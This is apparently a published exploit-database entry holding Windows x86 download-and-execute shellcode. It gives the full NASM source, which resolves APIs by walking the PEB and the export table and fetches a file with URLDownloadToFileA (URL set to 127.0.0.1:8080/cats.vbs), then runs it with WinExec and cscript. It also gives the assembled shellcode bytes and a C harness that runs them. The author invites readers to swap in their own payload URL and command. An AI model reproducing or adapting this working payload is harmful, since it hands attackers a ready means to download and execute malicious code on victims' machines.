; Exploit Title: Windows/x86 - Download File and Execute / Dynamic PEB & EDT method Shellcode (458 bytes) ; Exploit Author: Techryptic (@Tech) ; Date: 2022-01-31 ; Tested on: WIN7X86 ; Shoutout to #848 Advanced Software Exploitation and DSU. ; Description: ; The shellcode works in three parts. The first part and API call is using the Kernel32.dll and calling both CreateProcessA and LoadLibraryA function. Moving onto the next API call, it utilizes the urlmon.dll and calls the URLDownloadToFileA function. The objective of this call is to download a file from our malicious URL. Finally, the third API call is using the WinExec function to run the command, which will run the file that was downloaded. ; the PEB method to locate the baseAddress of the required module and the Export Directory Table to locate symbols. ; Also the shellcode uses a hash function to gather dynamically the required symbols without worry about the length. ; Feel free to change which file is being downloaded, and what command to run the file. For example, if set to download a .vbs script, you can use the command 'cscript shellcode.vbs'. [BITS 32] mainentrypoint: call geteip geteip: pop edx ; EDX is now base for function lea edx, [edx-5] mov ebp, esp sub esp, 1000h ; Locate kernel32.dll push edx mov ebx, 0x4b1ffe8e call get_module_address pop edx ; Build kernel32.dll API function pointer table push ebp push edx mov ebp, eax lea esi, [EDX + KERNEL32HASHTABLE] lea edi, [EDX + KERNEL32FUNCTIONSTABLE] call get_api_address pop edx pop ebp ; Call LoadLibaryA to get urlmon.dll into memory push ebp push edx lea eax, [EDX + URLMON] push eax call [EDX + LoadLibraryA] pop edx pop ebp ; Build urlmon.dll API function pointer table push ebp push edx mov ebp, eax lea esi, [EDX + URLMONHASHTABLE] lea edi, [EDX + URLMONFUNCTIONSTABLE] call get_api_address pop edx pop ebp ; Call URLDownloadToFileA ; pCaller NULL, URL, FILENAME, 0, 0 push eax push 0 push 0 lea edi, [EDX + URL] lea esi, [EDX + FILENAME] push esi push edi push 0 call eax ;and esp, 0xfffffff0; Using the WinExec API to call com call geteip2 geteip2: pop edx ; EDX is now base for function lea edx, [edx-122] ; yes. mov ebp, esp sub esp, 1000h ; Locate kernel32.dll push edx mov ebx, 0x4b1ffe8e ; kernel32.dll module hash call get_module_address ; Sets EAX to kernel32. pop edx ; Build kernel32.dll API function pointer table push ebp push edx mov ebp, eax lea esi, [EDX + WINKERNEL32HASHTABLE] lea edi, [EDX + WINKERNEL32FUNCTIONSTABLE] call get_api_address ; sets EAX to kernel32.WinExec function. pop edx pop ebp ; call winexec api lea esi, [EDX + CMD] ;change back to EXE push 0x00 push esi push dword [EDX + WINKERNEL32_WINEXEC] pop eax call eax get_module_address: ;walk PEB find target module cld xor edi, edi mov edi, [FS:0x30] mov edi, [edi+0xC] mov edi, [edi+0x14] next_module_loop: mov esi, [edi+0x28] xor edx, edx module_hash_loop: lodsw test al, al jz end_module_hash_loop cmp al, 0x41 jb end_hash_check cmp al, 0x5A ja end_hash_check or al, 0x20 end_hash_check: rol edx, 7 xor dl, al jmp module_hash_loop end_module_hash_loop: cmp edx, ebx mov eax, [edi+0x10] mov edi, [edi] jnz next_module_loop ret get_api_address: mov edx, ebp add edx, [edx+3Ch] mov edx, [edx+78h] add edx, ebp mov ebx, [edx+20h] add ebx, ebp xor ecx, ecx load_api_hash: push edi push esi mov esi, [esi] load_api_name: mov edi, [ebx] add edi, ebp push edx xor edx, edx create_hash_loop: rol edx, 7 xor dl, [edi] inc edi cmp byte [edi], 0 jnz create_hash_loop xchg eax, edx pop edx cmp eax, esi jz load_api_addy add ebx, 4 inc ecx cmp [edx+18h], ecx jnz load_api_name pop esi pop edi ret load_api_addy: pop esi pop edi lodsd push esi push ebx mov ebx, ebp mov esi, ebx add ebx, [edx+24h] lea eax, [ebx+ecx*2] movzx eax, word [eax] lea eax, [esi+eax*4] add eax, [edx+1ch] mov eax, [eax] add eax, esi stosd pop ebx pop esi add ebx, 4 inc ecx cmp dword [esi], 0FFFFh jnz load_api_hash ret CMD: db "cscript cats-dl.vbs", 0 ; Command that will run FILENAME: db "cats-dl.vbs", 0 ; Name of the file being written to disk URL: db "http://127.0.0.1:8080/cats.vbs", 0 ; Use a non-malicious file extension URLMON: db "urlmon.dll", 0 KERNEL32HASHTABLE: dd 0x46318ac7 ; CreateProcessA dd 0xc8ac8026 ; LoadLibraryA dd 0xFFFF KERNEL32FUNCTIONSTABLE: CreateProcessA: dd 0x00000001 LoadLibraryA: dd 0x00000002 WINKERNEL32HASHTABLE: dd 0xe8bf6dad ; WinExec dd 0xFFFF ; make sure to end with this token WINKERNEL32FUNCTIONSTABLE: WINKERNEL32_WINEXEC dd 0x00000000 URLMONHASHTABLE: dd 0xd95d2399 ; URLDownloadToFileA function dd 0xFFFF URLMONFUNCTIONSTABLE: URLDownloadToFileA: dd 0x00000003 [*]================================= POC =============================== [*] #include #include // nasm -f win32 shellcode.asm -o shellcode.o // objdump -D ./shellcode.o |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' char shellcode[] = "\xe8\x00\x00\x00\x00\x5a\x8d\x52\xfb\x89\xe5\x81\xec\x00\x10" "\x00\x00\x52\xbb\x8e\xfe\x1f\x4b\xe8\x9d\x00\x00\x00\x5a\x55" "\x52\x89\xc5\x8d\xb2\x9e\x01\x00\x00\x8d\xba\xaa\x01\x00\x00" "\xe8\xbd\x00\x00\x00\x5a\x5d\x55\x52\x8d\x82\x93\x01\x00\x00" "\x50\xff\x92\xae\x01\x00\x00\x5a\x5d\x55\x52\x89\xc5\x8d\xb2" "\xbe\x01\x00\x00\x8d\xba\xc6\x01\x00\x00\xe8\x95\x00\x00\x00" "\x5a\x5d\x50\x6a\x00\x6a\x00\x8d\xba\x74\x01\x00\x00\x8d\xb2" "\x68\x01\x00\x00\x56\x57\x6a\x00\xff\xd0\xe8\x00\x00\x00\x00" "\x5a\x8d\x52\x86\x89\xe5\x81\xec\x00\x10\x00\x00\x52\xbb\x8e" "\xfe\x1f\x4b\xe8\x2a\x00\x00\x00\x5a\x55\x52\x89\xc5\x8d\xb2" "\xb2\x01\x00\x00\x8d\xba\xba\x01\x00\x00\xe8\x4a\x00\x00\x00" "\x5a\x5d\x8d\xb2\x54\x01\x00\x00\x6a\x00\x56\xff\xb2\xba\x01" "\x00\x00\x58\xff\xd0\xfc\x31\xff\x64\x8b\x3d\x30\x00\x00\x00" "\x8b\x7f\x0c\x8b\x7f\x14\x8b\x77\x28\x31\xd2\x66\xad\x84\xc0" "\x74\x11\x3c\x41\x72\x06\x3c\x5a\x77\x02\x0c\x20\xc1\xc2\x07" "\x30\xc2\xeb\xe9\x39\xda\x8b\x47\x10\x8b\x3f\x75\xdb\xc3\x89" "\xea\x03\x52\x3c\x8b\x52\x78\x01\xea\x8b\x5a\x20\x01\xeb\x31" "\xc9\x57\x56\x8b\x36\x8b\x3b\x01\xef\x52\x31\xd2\xc1\xc2\x07" "\x32\x17\x47\x80\x3f\x00\x75\xf5\x92\x5a\x39\xf0\x74\x0c\x83" "\xc3\x04\x41\x39\x4a\x18\x75\xdf\x5e\x5f\xc3\x5e\x5f\xad\x56" "\x53\x89\xeb\x89\xde\x03\x5a\x24\x8d\x04\x4b\x0f\xb7\x00\x8d" "\x04\x86\x03\x42\x1c\x8b\x00\x01\xf0\xab\x5b\x5e\x83\xc3\x04" "\x41\x81\x3e\xff\xff\x00\x00\x75\xad\xc3\x63\x73\x63\x72\x69" "\x70\x74\x20\x63\x61\x74\x73\x2d\x64\x6c\x2e\x76\x62\x73\x00" "\x63\x61\x74\x73\x2d\x64\x6c\x2e\x76\x62\x73\x00\x68\x74\x74" "\x70\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x38" "\x30\x38\x30\x2f\x63\x61\x74\x73\x2e\x76\x62\x73\x00\x75\x72" "\x6c\x6d\x6f\x6e\x2e\x64\x6c\x6c\x00\xc7\x8a\x31\x46\x26\x80" "\xac\xc8\xff\xff\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\xad" "\x6d\xbf\xe8\xff\xff\x00\x00\x00\x00\x00\x00\x99\x23\x5d\xd9" "\xff\xff\x00\x00\x03\x00\x00\x00"; int main(int argc, char **argv) { HINSTANCE hInstLib = LoadLibrary(TEXT("user32.dll")); int i = 0, len = 0, target_addy = 0, offset = 0x0; void*stage = VirtualAlloc(0, 0x1000, 0x1000,0x40 ); printf("[*] Memory allocated: 0x%08x\n", stage); len = sizeof(shellcode); printf("[*] Size of Shellcode: %08x\n", len); memmove(stage, shellcode, 0x1000); printf("[*] Shellcode copied\n"); target_addy = (char*)stage + offset; printf("[*] Adjusting offset: 0x%08x\n", target_addy); __asm { int 3 mov eax, target_addy jmp eax } }